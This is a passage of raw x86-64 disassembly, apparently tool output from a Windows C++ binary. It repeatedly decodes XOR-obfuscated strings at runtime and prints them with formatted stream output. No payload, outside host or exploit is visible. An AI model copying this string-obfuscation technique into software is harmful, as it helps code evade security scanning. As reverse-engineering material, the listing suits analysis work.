sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140012bd0
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x150], rax
test rax, rax
je 0x140012c41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140012c44
mov rbx, r14
mov qword [rbp + 0x158], rbx
test rbx, rbx
je 0x140014d5a
lea r8, [rbp + 0x3b8]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x398]
call fcn.140009a00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140012c7d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.14001d690
nop
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x140012cd1
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012ccc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012ccc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [0x140090230]
movsd qword [rbp + 0x380], xmm0
mov ecx, dword [0x140090238]
mov dword [rbp + 0x388], ecx
cmp byte [0x14009023b], 0
je 0x140012ea0
mov r8d, r14d
cmp esi, 2
jl 0x140012e58
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222223333333333333333O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140090230]
pxor xmm2, xmm1
movd dword [rbp + 0x380], xmm2
movdqa xmm3, xmmword [0x1400919d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x384]
pxor xmm2, xmm1
movd dword [rbp + 0x384], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0x380]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140012e70
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
lea rdx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d8]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14008fcf8]
movups xmmword [rbp + 0x160], xmm0
movsd xmm1, qword [0x14008fd08]
movsd qword [rbp + 0x170], xmm1
movzx eax, word [0x14008fd10]
mov word [rbp + 0x178], ax
mov r8d, r14d
mov r10d, Ordinal_33
cmp esi, 2
jl 0x140013030
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movd xmm5, r10d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [0x14008fcf8]
pxor xmm3, xmm0
movq qword [rbp + 0x160], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x168]
pxor xmm3, xmm0
movq qword [rbp + 0x168], xmm3
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0x160]
lea r9, [r9 + rax*2]
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140013040
movups xmm0, xmmword [0x14008f7f8]
movups xmmword [rbp + 0x3b8], xmm0
movsd xmm1, qword [0x14008f808]
movsd qword [rbp + 0x3c8], xmm1
movzx eax, byte [0x14008f810]
mov byte [rbp + 0x3d0], al
mov r8d, r14d
cmp esi, 2
jl 0x1400131f7
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r10d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3bc]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400130f0
cmp r8d, 0x19
jge 0x140013240
movsxd rax, r8d
lea r9, [rbp + 0x3b8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140013210
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140013281
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x3b8]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140013284
mov rbx, r14
mov qword [rbp + 0x150], rbx
test rbx, rbx
je 0x140014d65
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1e8]
call fcn.140009a00
nop
mov r8d, 1
lea rdx, [0x1400906a8]
lea rcx, [rbp + 0x1e8]
call fcn.14001d690
movsd xmm0, qword [str.RYP6]
movsd qword [rbp + 0x380], xmm0
movzx eax, word [0x140091728]
mov ecx, Ordinal_79
mov word [rbp + 0x380], cx
xor word [rbp + 0x382], 0x33
xor word [rbp + 0x384], 0x34
xor word [rbp + 0x386], 0x35
xor ax, 0x36
mov word [rbp + 0x388], ax
movups xmm0, xmmword [0x14008f7f8]
movups xmmword [rbp + 0x398], xmm0
movsd xmm1, qword [0x14008f808]
movsd qword [rbp + 0x3a8], xmm1
movzx eax, byte [0x14008f810]
mov byte [rbp + 0x3b0], al
mov r8d, r14d
cmp esi, 2
jl 0x140013497
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x39c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140013390
cmp r8d, 0x19
jge 0x1400134e0
movsxd rax, r8d
lea r9, [rbp + 0x398]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400134b0
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140013521
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x398]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140013524
mov rbx, r14
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d70
lea r8, [rbp + 0x380]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140009a00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013555
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.14001d690
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400135a5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400135a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400135a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
mov r8d, 1
lea rdx, [0x1400906a8]
lea rcx, [rbp + 0x1e8]
call fcn.14001d690
movups xmm0, xmmword [str.aVFW_vLWYYO_]
movups xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x14008fa50]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x14008fa58]
mov word [rbp - 0x78], ax
mov r8d, r14d
mov r10d, Ordinal_33
cmp esi, 2
jl 0x1400136ec
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movd xmm5, r10d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [str.aVFW_vLWYYO_]
pxor xmm3, xmm0
movq qword [rsp + 0x70], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x78]
pxor xmm3, xmm0
movq qword [rsp + 0x78], xmm3
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x70]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140013700
movups xmm0, xmmword [0x14008f7f8]
movups xmmword [rbp + 0x398], xmm0
movsd xmm1, qword [0x14008f808]
movsd qword [rbp + 0x3a8], xmm1
movzx eax, byte [0x14008f810]
mov byte [rbp + 0x3b0], al
mov r8d, r14d
cmp esi, 2
jl 0x1400138b7
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r10d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x39c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400137b0
cmp r8d, 0x19
jge 0x140013900
movsxd rax, r8d
lea r9, [rbp + 0x398]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400138d0
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140013941
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x398]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140013944
mov rbx, r14
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d7b
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140009a00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013973
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.14001d690
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400139c3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400139be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400139be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov ecx, dword [str.pzf6]
mov dword [rbp + 0x158], ecx
movzx ecx, byte [0x14008fcd4]
mov byte [rbp + 0x158], 0x42
xor byte [rbp + 0x159], 0x33
xor byte [rbp + 0x15a], 0x34
xor byte [rbp + 0x15b], 0x35
xor cl, 0x36
mov byte [rbp + 0x15c], cl
lea rdx, [rbp + 0x158]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
lea rdx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rdx, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x188], r14
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a0], r14
lea rdi, [rbp + 0x248]
mov r14, qword [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdi, r14
cmp r13, 0x10
jae 0x140013adb
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
jmp 0x140013b5d
mov rbx, r13
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140013b32
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140014d86
mov rcx, rax
call fcn.14007c5c0
mov rcx, rax
test rax, rax
je 0x140013b2b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140013b40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140013b3e
call fcn.14007c5c0
jmp 0x140013b40
xor eax, eax
mov qword [rbp + 0x188], rax
lea r8, [r13 + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x198], r13
mov eax, dword [0x140091794]
mov dword [rbp + 0x150], eax
xor r13d, r13d
cmp byte [0x140091797], r13b
je 0x140013c59
mov r8d, r13d
cmp esi, 2
jl 0x140013c1e
movdqa xmm3, xmmword [0x1400919c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140091a80]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091a80]
shufps xmm2, xmm0, 0xdd
mov edi, 4
movd xmm0, edi
psrad xmm2, xmm0
mov ecx, Ordinal_33
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400919e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222223333333333333333O]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x150], xmm2
jmp 0x140013c5e
lea r9, [rbp + 0x150]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013c30
mov edi, 4
lea rax, [rbp + 0x150]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140013c70
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x188]
call fcn.14001d690
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov eax, dword [str._ry5]
mov dword [rbp + 0x150], eax
cmp byte [0x14008fcab], 0
je 0x140013db9
mov r8d, r13d
cmp esi, 2
jl 0x140013d7c
movdqa xmm3, xmmword [0x1400919c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140091a80]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091a80]
shufps xmm2, xmm0, 0xdd
movd xmm0, edi
psrad xmm2, xmm0
mov ecx, Ordinal_33
movd xmm0, ecx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400919e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222223333333333333333O]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x150], xmm2
jmp 0x140013db9
lea r9, [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013d90
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x208]
call fcn.140009890
nop
mov r8d, 2
lea rdx, [0x14009072c]
lea rcx, [rbp + 0x208]
call fcn.14001d690
lea rdx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
